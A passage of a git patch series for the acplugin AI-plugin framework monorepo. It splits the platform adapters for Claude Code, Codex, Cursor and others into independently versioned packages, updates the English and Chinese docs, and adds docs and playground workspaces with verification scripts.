目录。也可以显式选择任意受支持组合: +`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Extension。未传 `--platform` 时,它的脚手架选择是 Claude Code 和 Codex,但仍会显式写入两个 Platform 依赖、import 和配置项。也可以改为选择任意受支持组合: ```bash pnpm dlx @tokenroll/acplugin init my-plugin --yes \ @@ -21,7 +21,7 @@ pnpm dlx @tokenroll/acplugin init my-plugin --yes \ --hooks --mcp ``` -启用 Extension 只会添加依赖、Import、配置项和空源码目录;`init` 不会伪造 Hook Handler 或 MCP Server。 +每个所选 Platform 都是独立 package。启用 Extension 同样只会添加依赖、Import、配置项和空源码目录;`init` 不会伪造 Hook Handler 或 MCP Server。构建运行时不会默认发现或安装 package。 已知的 `init` 输入错误使用稳定的 `INIT_INVALID` 诊断,并保留安全、可操作的原因;对应的专用错误类型保持内部实现,不从公开门面导出。 @@ -33,11 +33,14 @@ Commands 放在 `src/commands/.md`,Skills 放在 `src/skills//SKILL.md ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], }); ``` @@ -61,10 +64,16 @@ pnpm exec acplugin dev 通用选项包括 `--config`、`--platform `、`--mode`、`--no-strict` 和 `--json`。默认启用严格模式。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `--no-strict` 明确接受。 -现有工程通过公开工厂配置非默认 Platform: +现有工程需要显式安装并导入每个 Platform package: ```ts -import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; export default defineConfig({ name: 'my-plugin', @@ -75,7 +84,7 @@ export default defineConfig({ }); ``` -OpenCode 产物是 Workspace Overlay,Pi 产物是 npm Package,不会被错误标记为静态 Plugin。启用严格多平台构建前应先查看[平台支持矩阵](../reference/conversion-matrix.zh-CN.md)。 +`platforms` 是必填项,`--platform ` 只会筛选该列表中已经实例化的 ID。主包不重新导出官方工厂,也不提供 Platform subpath。OpenCode 产物是 Workspace Overlay,Pi 产物是 npm Package,不会被错误标记为静态 Plugin。启用严格多平台构建前应先查看[平台支持矩阵](../reference/conversion-matrix.zh-CN.md)。 ## Public 文件 diff --git a/llmdoc/index.md b/llmdoc/index.md index 7917db6..80788b0 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -11,6 +11,7 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski ## Guides - [Using acplugin](guides/usage.md) · [使用 acplugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. +- [按 Package 代码导览](guides/package-code-tour.zh-CN.md) — 每个 workspace package 的职责、架构、数据流、实现伪代码与修改入口。 - [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — independent public-package verification and fully manual publishing. - [中文代码注释规范](guides/commenting.zh-CN.md) — 中文声明注释、关键逻辑注释与自动守卫规则。 diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index 3b4e6a9..0b96374 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -6,13 +6,19 @@ acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. -The public release cohort is: +The independently versioned public packages are: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core, built-in Platform implementations, and the integration-test workspace are private packages. The main public package bundles Core and Platforms so consumers never depend on `@acplugin/*`. +Core and the integration-test workspace are private packages. The main package bundles Core, while every official Platform and Extension imports the public SDK from `@tokenroll/acplugin` through a peer dependency. Consumers never depend on `@acplugin/*`. ## Authoring boundary @@ -20,7 +26,7 @@ Core Components are Commands, Skills, and Agents. `acplugin.config.ts` defines t Instructions are intentionally outside the installable Plugin boundary. Hooks and MCP are optional Extensions: enabling one joins the same Core-owned lifecycle through its own Platform Adapters rather than replacing a Platform. -Default Platforms are Claude Code and Codex. Cursor and Antigravity are opt-in static Plugins, OpenCode is an opt-in workspace overlay, and Pi is an opt-in npm package. Every Platform reports native transformations and semantic losses instead of claiming a lowest-common-denominator format. +`platforms` is required: builds use explicitly imported instances and the main package never discovers or loads an implementation by ID. `init` keeps Claude Code and Codex as its scaffolding selection when no `--platform` option is supplied, but writes both dependencies and imports. Claude Code, Codex, Cursor, and Antigravity are static Plugins, OpenCode is a workspace overlay, and Pi is an npm package. Every Platform reports native transformations and semantic losses instead of claiming a lowest-common-denominator format. ## Runtime and tooling @@ -33,7 +39,7 @@ Default Platforms are Claude Code and Codex. Cursor and Antigravity are opt-in s The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. -The CLI entry is `packages/acplugin/src/cli.ts`; the facade/config loader is `packages/acplugin/src/index.ts`. +The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. ## Migration boundary diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md index 758c15c..26bca08 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -6,13 +6,19 @@ acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。 -公开发布的固定包组包括: +独立版本化的公开 package 包括: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core、内置 Platform 实现和集成测试工作区都是私有包。主公开包会内联 Core 和 Platform,因此消费者不会依赖任何 `@acplugin/*` 包。 +Core 和集成测试工作区是私有包。主包内联 Core;每个官方 Platform/Extension 则通过 peer dependency 从 `@tokenroll/acplugin` 导入公开 SDK。消费者不会依赖任何 `@acplugin/*` 包。 ## 创作边界 @@ -20,7 +26,7 @@ Core Component 包括 Commands、Skills 和 Agents。`acplugin.config.ts` 在顶 Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是可选 Extension:启用后通过其自有 Platform Adapter 加入同一套 Core 生命周期,不会替换 Platform。 -默认 Platform 是 Claude Code 和 Codex。Cursor 与 Antigravity 是可选静态 Plugin,OpenCode 是可选 Workspace Overlay,Pi 是可选 npm Package。每个平台都会明确报告原生转换和语义损失,不会伪装成最低公共格式。 +`platforms` 必填:构建只使用显式导入的实例,主包不会按 ID 发现或加载实现。未传 `--platform` 时,`init` 仍把 Claude Code 和 Codex 作为脚手架选择,但会显式写入两个依赖和 import。Claude Code、Codex、Cursor 与 Antigravity 是静态 Plugin,OpenCode 是 Workspace Overlay,Pi 是 npm Package。每个平台都会明确报告原生转换和语义损失,不会伪装成最低公共格式。 ## 运行时与工具链 @@ -33,7 +39,7 @@ Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是 各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 -CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面和配置加载器位于 `packages/acplugin/src/index.ts`。 +CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。 ## Migration 边界 diff --git a/llmdoc/startup.md b/llmdoc/startup.md index 2fe9960..8c5095f 100644 --- a/llmdoc/startup.md +++ b/llmdoc/startup.md @@ -5,11 +5,11 @@ Read [Project overview](overview/project.md) and [System architecture](architect Keep these invariants: - pnpm monorepo without Turbo; Node.js >=20; ESM-only. -- Only `@tokenroll/acplugin` and the official Hooks/MCP Extensions are public. +- `@tokenroll/acplugin`, six official Platform packages, and the official Hooks/MCP Extensions are public and independently versioned; only Core and the test workspace are private. - Core owns one lifecycle and transaction; Extensions join through restricted Adapters, while Platforms own output schemas and distributions. - Commands, Skills, and Agents are Core Components. Instructions are out of scope. -- Claude Code and Codex are the default Platforms; Cursor, Antigravity, OpenCode, and Pi are explicit opt-ins. +- `platforms` is required and contains explicitly imported package instances. Only `init` selects Claude Code and Codex when no scaffold option is supplied. - Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. -- Preserve deterministic, strict, whole-output builds and never expose private `@acplugin/*` runtime dependencies. +- Preserve deterministic, strict, whole-output builds. Official integrations import only the public main-package SDK through peer dependencies, and no public package exposes a private `@acplugin/*` runtime dependency. Use `pnpm run check` for repository validation and `pnpm run release:verify` for packed external-consumer verification. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index ac0fa67..cbe04cb 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -1,15 +1,16 @@ # llmdoc sync state -- Baseline commit: `d254e8ad7fe444f5230bc3d1ab4140cf72a83890` +- Baseline commit: `3380ada8b907cc6e1b63154e3582187d9b0dc83b` - Mode: `full` -- Workflow: `grill-with-docs → to-spec → to-tickets → implement → code-review` completed through ACPL-001~ACPL-023; no commit, Tag, Release, registry mutation, or publication was performed. -- Architecture: pnpm-only monorepo; public `@tokenroll/acplugin` plus fixed-version Hooks/MCP Extensions; private Core, six private Platform implementations, and private Vitest workspace; ESM-only on Node.js 20 or newer. +- Workflow: adversarial review and implementation completed through the first-class Platform package correction; local commits were created, but no push, Tag, Release, registry mutation, or publication was performed. +- Architecture: pnpm-only monorepo; independently versioned public main package, six Platform packages, and two Extension packages; private Core and Vitest workspace; ESM-only on Node.js 20 or newer. - TypeScript: all 11 source Packages execute TypeScript `7.0.2` through cataloged `@typescript/native`; the root installs official `@typescript/typescript6` as `typescript` only for tools that still require the legacy JavaScript Compiler API. - Migration: isolated legacy code validates generated projects through public `runProject()`, reports every discovered field as mapped/degraded/unmapped, accepts complete SemVer including build metadata, validates URL/email/SPDX/keywords, retains MCP-only Marketplace entries, and uses the official MCP public contract for safe remote declarations. -- MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. Release verification includes a main-package-only remote MCP Migration consumer. +- Ecosystem packages: every official Platform/Extension imports only the public SDK from `@tokenroll/acplugin` through `workspace:^`; packed peer ranges are normal semver, and the main-package factory's private Symbol brands interoperate with clean-consumer third-party Platforms through one peer instance. The main package has no official integration manifest dependency or re-export. +- MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. The isolated Migration lazy chunk bundles only the official integrations needed to validate generated projects. - Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. - Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. -- Validation: `pnpm install --frozen-lockfile`; 11 × TypeScript `7.0.2`; lint and Chinese comment guard across 131 files; 14 integration files / 60 integration tests and 174 tests overall; build/ATTW/publint; three 1.0.0 tarballs in clean consumers; main-only packed Migration; Changesets status; staged/unstaged diff checks. +- Validation: lint, TypeScript 7 typecheck, package and cross-package Vitest suites, build, ATTW/publint, and `release:verify` passed for nine 1.0.0 tarballs; clean consumers covered all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. ```text pnpm run check diff --git a/packages/acplugin/README.md b/packages/acplugin/README.md index d80d06b..8e41773 100644 --- a/packages/acplugin/README.md +++ b/packages/acplugin/README.md @@ -1,21 +1,26 @@ # @tokenroll/acplugin -Canonical AI plugin framework and CLI for building Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi deliveries from one source project. +Canonical AI plugin framework, public lifecycle SDK, and CLI. Platform and Extension implementations are independently installed peer packages. Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. ```bash -pnpm add -D @tokenroll/acplugin +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-platform-codex ``` ```ts // acplugin.config.ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], }); ``` @@ -28,17 +33,23 @@ public/ acplugin.config.ts ``` -The default Platforms are `claude-code` and `codex`. Commands and Agents are adapted explicitly when a Platform has no equivalent native component. Select all six during scaffolding with: +`platforms` is required and there is no runtime default. `init` selects Claude Code and Codex only as a scaffolding default, writing their dependencies and imports explicitly. Select all six during scaffolding with: ```bash pnpm exec acplugin init my-plugin --yes \ --platform claude-code codex cursor antigravity opencode pi ``` -Or configure exported factories directly: +Or install and configure the independent packages directly: ```ts -import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; export default defineConfig({ name: 'my-plugin', @@ -51,12 +62,15 @@ export default defineConfig({ Claude Code, Codex, Cursor, and Antigravity produce Plugin delivery units. OpenCode produces a workspace overlay; Pi produces an npm package. The compatibility report records native, transformed, degraded, and unsupported behavior before any managed output is committed. +The main package does not re-export official Platforms or Extensions and has no `platforms/*` subpath. Official packages use the same `definePlatform()` and Adapter contracts exposed to third-party authors, so the framework does not need a registry, naming convention, or source change to accept another implementation. + Claude Code can be configured as an explicit Platform. Omitting `marketplace` builds only the installable Plugin; `marketplace: {}` additionally creates a self-contained single-Plugin Marketplace from the top-level metadata. Claude Code 可以作为显式 Platform 配置。省略 `marketplace` 时只构建可安装 Plugin;配置 `marketplace: {}` 时,会从顶层元数据推导并额外生成一个自包含的单 Plugin Marketplace。 ```ts -import { claudeCode, defineConfig } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; export default defineConfig({ name: 'my-plugin', diff --git a/packages/extensions/hooks/README.md b/packages/extensions/hooks/README.md index 418f0b7..2860e59 100644 --- a/packages/extensions/hooks/README.md +++ b/packages/extensions/hooks/README.md @@ -7,18 +7,22 @@ Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. `统一书写 Hook,并由官方 Adapter 构建为六个平台各自支持的静态或运行时产物。` ```bash -pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-extension-hooks +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-extension-hooks ``` ```ts // acplugin.config.ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import hooks from '@tokenroll/acplugin-extension-hooks'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode()], extensions: [hooks()], }); ``` diff --git a/packages/extensions/mcp/README.md b/packages/extensions/mcp/README.md index 79f5f29..62066f4 100644 --- a/packages/extensions/mcp/README.md +++ b/packages/extensions/mcp/README.md @@ -7,17 +7,21 @@ Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. `可选的 MCP 远程声明、本地构建能力,以及面向各 acplugin Platform 的适配实现。` ```bash -pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-extension-mcp +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-extension-mcp ``` ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import mcp from '@tokenroll/acplugin-extension-mcp'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode()], extensions: [mcp()], }); ``` From 647fe93f2c73114a79ab29508f8b0934ff80bb30 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 20:14:40 +0800 Subject: [PATCH 17/27] feat: add verification scripts for docs and playground - Introduced to validate TypeDoc output against expected public packages and ensure no private paths are exposed. - Added to check the integrity of Playground's CLI validation results and confirm expected artifacts and diagnostics. - Updated to include new scripts in coverage checks. --- .changeset/config.json | 2 + .github/workflows/check.yml | 13 + .gitignore | 4 + AGENTS.md | 16 +- README.md | 30 +- README.zh-CN.md | 30 +- acplugin-1.0-fix-design.md | 1552 ----------------- acplugin-1.0-review.md | 203 --- eslint.config.mjs | 12 +- .../0001-lifecycle-determinism-and-cache.md | 4 +- ...1-lifecycle-determinism-and-cache.zh-CN.md | 4 +- ...0003-node-toolchain-and-runtime-support.md | 4 +- ...ode-toolchain-and-runtime-support.zh-CN.md | 4 +- .../0004-first-class-platform-packages.md | 2 +- ...004-first-class-platform-packages.zh-CN.md | 2 +- llmdoc/architecture/system.md | 6 + llmdoc/architecture/system.zh-CN.md | 6 + llmdoc/guides/commenting.zh-CN.md | 2 +- llmdoc/guides/package-code-tour.zh-CN.md | 56 +- llmdoc/guides/release.md | 5 +- llmdoc/guides/release.zh-CN.md | 5 +- llmdoc/guides/usage.md | 4 +- llmdoc/guides/usage.zh-CN.md | 6 +- llmdoc/index.md | 6 +- .../2026-07-29-agent-plugin-format-audit.md | 2 +- llmdoc/overview/project.md | 9 +- llmdoc/overview/project.zh-CN.md | 9 +- llmdoc/reference/conversion-matrix.md | 4 +- llmdoc/reference/conversion-matrix.zh-CN.md | 2 +- llmdoc/reference/domain-glossary.md | 2 +- llmdoc/reference/domain-glossary.zh-CN.md | 2 +- llmdoc/startup.md | 4 +- package.json | 11 + packages/docs/.vitepress/config.mts | 128 ++ packages/docs/.vitepress/theme/custom.css | 444 +++++ packages/docs/.vitepress/theme/index.ts | 5 + packages/docs/config/build-options.md | 34 + .../config/compatibility-and-strictness.md | 35 + packages/docs/config/index.md | 22 + packages/docs/config/project-metadata.md | 36 + packages/docs/config/public-files.md | 38 + .../docs/ecosystem/artifacts-and-documents.md | 24 + .../docs/ecosystem/extension-authoring.md | 29 + packages/docs/ecosystem/index.md | 11 + packages/docs/ecosystem/lifecycle-contract.md | 25 + .../ecosystem/package-and-peer-boundaries.md | 34 + packages/docs/ecosystem/platform-authoring.md | 50 + packages/docs/extensions/hooks.md | 53 + packages/docs/extensions/index.md | 8 + packages/docs/extensions/mcp.md | 58 + packages/docs/guide/build-and-validate.md | 37 + packages/docs/guide/cli.md | 40 + packages/docs/guide/commands-skills-agents.md | 56 + packages/docs/guide/getting-started.md | 61 + packages/docs/guide/index.md | 14 + packages/docs/guide/migration.md | 21 + packages/docs/guide/project-structure.md | 43 + packages/docs/guide/troubleshooting.md | 29 + packages/docs/guide/why-acplugin.md | 37 + packages/docs/index.md | 84 + packages/docs/package.json | 24 + packages/docs/platforms/antigravity.md | 35 + packages/docs/platforms/claude-code.md | 43 + packages/docs/platforms/codex.md | 39 + packages/docs/platforms/cursor.md | 35 + packages/docs/platforms/index.md | 14 + packages/docs/platforms/opencode.md | 41 + packages/docs/platforms/pi.md | 37 + packages/docs/playground/index.md | 5 + packages/docs/playground/llmdoc-v3.md | 43 + packages/docs/public/acplugin-logo-dark.svg | 11 + packages/docs/public/acplugin-logo.svg | 11 + packages/docs/public/acplugin-mark.svg | 17 + .../docs/resources/compatibility-matrix.md | 34 + .../docs/resources/deterministic-builds.md | 20 + packages/docs/resources/index.md | 8 + packages/docs/resources/package-map.md | 29 + packages/docs/resources/security-model.md | 23 + packages/docs/tsconfig.json | 4 + packages/docs/typedoc.json | 43 + packages/extensions/hooks/README.md | 2 +- packages/extensions/mcp/README.md | 2 +- packages/playground/README.md | 27 + packages/playground/acplugin.config.ts | 15 + packages/playground/package.json | 22 + .../public/resources/templates/document.md | 13 + .../public/resources/templates/domain.md | 13 + .../resources/templates/investigation.md | 13 + .../resources/templates/reflection-case.md | 13 + packages/playground/public/runtime/README.md | 3 + packages/playground/public/schemas/README.md | 3 + packages/playground/public/upgrade/README.md | 3 + .../playground/src/agents/investigator.md | 9 + packages/playground/src/agents/recorder.md | 9 + packages/playground/src/agents/reflector.md | 8 + packages/playground/src/commands/init.md | 10 + packages/playground/src/commands/prune.md | 10 + packages/playground/src/commands/update.md | 10 + packages/playground/src/commands/upgrade.md | 10 + .../playground/src/hooks/pre-compact/hook.ts | 8 + .../src/hooks/session-start/hook.ts | 8 + packages/playground/src/hooks/stop/hook.ts | 8 + .../playground/src/skills/llmdoc/SKILL.md | 26 + .../llmdoc/references/compact-continuation.md | 5 + .../src/skills/llmdoc/references/frontier.md | 5 + .../llmdoc/references/reflection-promotion.md | 5 + .../skills/llmdoc/references/transaction.md | 5 + packages/playground/tsconfig.json | 4 + pnpm-lock.yaml | 1471 ++++++++++++++++ scripts/comment-coverage.json | 8 + scripts/verify-docs.mjs | 84 + scripts/verify-playground.mjs | 95 + 112 files changed, 4101 insertions(+), 1821 deletions(-) delete mode 100644 acplugin-1.0-fix-design.md delete mode 100644 acplugin-1.0-review.md create mode 100644 packages/docs/.vitepress/config.mts create mode 100644 packages/docs/.vitepress/theme/custom.css create mode 100644 packages/docs/.vitepress/theme/index.ts create mode 100644 packages/docs/config/build-options.md create mode 100644 packages/docs/config/compatibility-and-strictness.md create mode 100644 packages/docs/config/index.md create mode 100644 packages/docs/config/project-metadata.md create mode 100644 packages/docs/config/public-files.md create mode 100644 packages/docs/ecosystem/artifacts-and-documents.md create mode 100644 packages/docs/ecosystem/extension-authoring.md create mode 100644 packages/docs/ecosystem/index.md create mode 100644 packages/docs/ecosystem/lifecycle-contract.md create mode 100644 packages/docs/ecosystem/package-and-peer-boundaries.md create mode 100644 packages/docs/ecosystem/platform-authoring.md create mode 100644 packages/docs/extensions/hooks.md create mode 100644 packages/docs/extensions/index.md create mode 100644 packages/docs/extensions/mcp.md create mode 100644 packages/docs/guide/build-and-validate.md create mode 100644 packages/docs/guide/cli.md create mode 100644 packages/docs/guide/commands-skills-agents.md create mode 100644 packages/docs/guide/getting-started.md create mode 100644 packages/docs/guide/index.md create mode 100644 packages/docs/guide/migration.md create mode 100644 packages/docs/guide/project-structure.md create mode 100644 packages/docs/guide/troubleshooting.md create mode 100644 packages/docs/guide/why-acplugin.md create mode 100644 packages/docs/index.md create mode 100644 packages/docs/package.json create mode 100644 packages/docs/platforms/antigravity.md create mode 100644 packages/docs/platforms/claude-code.md create mode 100644 packages/docs/platforms/codex.md create mode 100644 packages/docs/platforms/cursor.md create mode 100644 packages/docs/platforms/index.md create mode 100644 packages/docs/platforms/opencode.md create mode 100644 packages/docs/platforms/pi.md create mode 100644 packages/docs/playground/index.md create mode 100644 packages/docs/playground/llmdoc-v3.md create mode 100644 packages/docs/public/acplugin-logo-dark.svg create mode 100644 packages/docs/public/acplugin-logo.svg create mode 100644 packages/docs/public/acplugin-mark.svg create mode 100644 packages/docs/resources/compatibility-matrix.md create mode 100644 packages/docs/resources/deterministic-builds.md create mode 100644 packages/docs/resources/index.md create mode 100644 packages/docs/resources/package-map.md create mode 100644 packages/docs/resources/security-model.md create mode 100644 packages/docs/tsconfig.json create mode 100644 packages/docs/typedoc.json create mode 100644 packages/playground/README.md create mode 100644 packages/playground/acplugin.config.ts create mode 100644 packages/playground/package.json create mode 100644 packages/playground/public/resources/templates/document.md create mode 100644 packages/playground/public/resources/templates/domain.md create mode 100644 packages/playground/public/resources/templates/investigation.md create mode 100644 packages/playground/public/resources/templates/reflection-case.md create mode 100644 packages/playground/public/runtime/README.md create mode 100644 packages/playground/public/schemas/README.md create mode 100644 packages/playground/public/upgrade/README.md create mode 100644 packages/playground/src/agents/investigator.md create mode 100644 packages/playground/src/agents/recorder.md create mode 100644 packages/playground/src/agents/reflector.md create mode 100644 packages/playground/src/commands/init.md create mode 100644 packages/playground/src/commands/prune.md create mode 100644 packages/playground/src/commands/update.md create mode 100644 packages/playground/src/commands/upgrade.md create mode 100644 packages/playground/src/hooks/pre-compact/hook.ts create mode 100644 packages/playground/src/hooks/session-start/hook.ts create mode 100644 packages/playground/src/hooks/stop/hook.ts create mode 100644 packages/playground/src/skills/llmdoc/SKILL.md create mode 100644 packages/playground/src/skills/llmdoc/references/compact-continuation.md create mode 100644 packages/playground/src/skills/llmdoc/references/frontier.md create mode 100644 packages/playground/src/skills/llmdoc/references/reflection-promotion.md create mode 100644 packages/playground/src/skills/llmdoc/references/transaction.md create mode 100644 packages/playground/tsconfig.json create mode 100644 scripts/verify-docs.mjs create mode 100644 scripts/verify-playground.mjs diff --git a/.changeset/config.json b/.changeset/config.json index 7d39d0d..3e5ed4b 100644 --- a/.changeset/config.json +++ b/.changeset/config.json @@ -9,6 +9,8 @@ "updateInternalDependencies": "patch", "ignore": [ "@acplugin/core", + "@acplugin/docs", + "@acplugin/playground", "@acplugin/test" ] } diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml index 102a71b..3f6595d 100644 --- a/.github/workflows/check.yml +++ b/.github/workflows/check.yml @@ -20,3 +20,16 @@ jobs: - run: pnpm install --frozen-lockfile - run: pnpm run lint - run: pnpm run typecheck + + docs: + name: Docs and playground + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run docs:check diff --git a/.gitignore b/.gitignore index f1bdeab..63820c0 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,7 @@ dist/ # llmdoc local temporary context cache (not project knowledge) .llmdoc-tmp/ + +# Reproducible documentation outputs +packages/docs/api/ +packages/docs/.vitepress/cache/ diff --git a/AGENTS.md b/AGENTS.md index 0f035c5..88540e5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,11 +1,11 @@ -# acplugin 项目规范 +# ACPlugin 项目规范 ## 项目定位 -acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;`init` 默认生成显式安装 Claude Code 与 Codex Platform 的工程,使用者也可安装 Cursor、Antigravity、OpenCode、Pi 或任意第三方 Platform。 +ACPlugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;`init` 默认生成显式安装 Claude Code 与 Codex Platform 的工程,使用者也可安装 Cursor、Antigravity、OpenCode、Pi 或任意第三方 Platform。 - 公开包:`@tokenroll/acplugin`、六个 `@tokenroll/acplugin-platform-*`、`@tokenroll/acplugin-extension-hooks`、`@tokenroll/acplugin-extension-mcp` -- 私有包:Core、内部 Test workspace +- 私有包:Core、内部 Test、Docs、Playground workspace - 不提供 Instructions Component - 旧 Claude 工程/Plugin 的导入仅属于隔离的 Migration 子系统 @@ -17,6 +17,7 @@ acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书 - Vitest 只用于仓库内部测试 - Commander.js + `@inquirer/prompts` 负责 CLI/TUI - Rolldown 只用于 Hooks/MCP 本地可执行内容 bundle +- VitePress 1.6 + TypeDoc 0.28 负责私有 Docs;TypeDoc 使用 TypeScript 6 Compiler API 兼容层 ## Monorepo @@ -34,7 +35,9 @@ packages/ ├── extensions/ # 两个正式公开横向 Extension 包 │ ├── hooks/ │ └── mcp/ -└── test/ # 私有跨包 Vitest 集成测试 +├── test/ # 私有跨包 Vitest 集成测试 +├── docs/ # 私有 VitePress/TypeDoc 文档工程 +└── playground/ # 私有 llmdoc v3 主题真实消费模板 ``` `@tokenroll/acplugin` 构建时必须 bundle Core,但不得 bundle 或重新导出官方 Platform/Extension。六个官方 Platform 与 Hooks/MCP Extension 都只能从主包公开 SDK 导入契约,并通过 `workspace:^` peer 开发边连接主包;pack 后必须变为正常 `^x.y.z`。任何公开 tarball 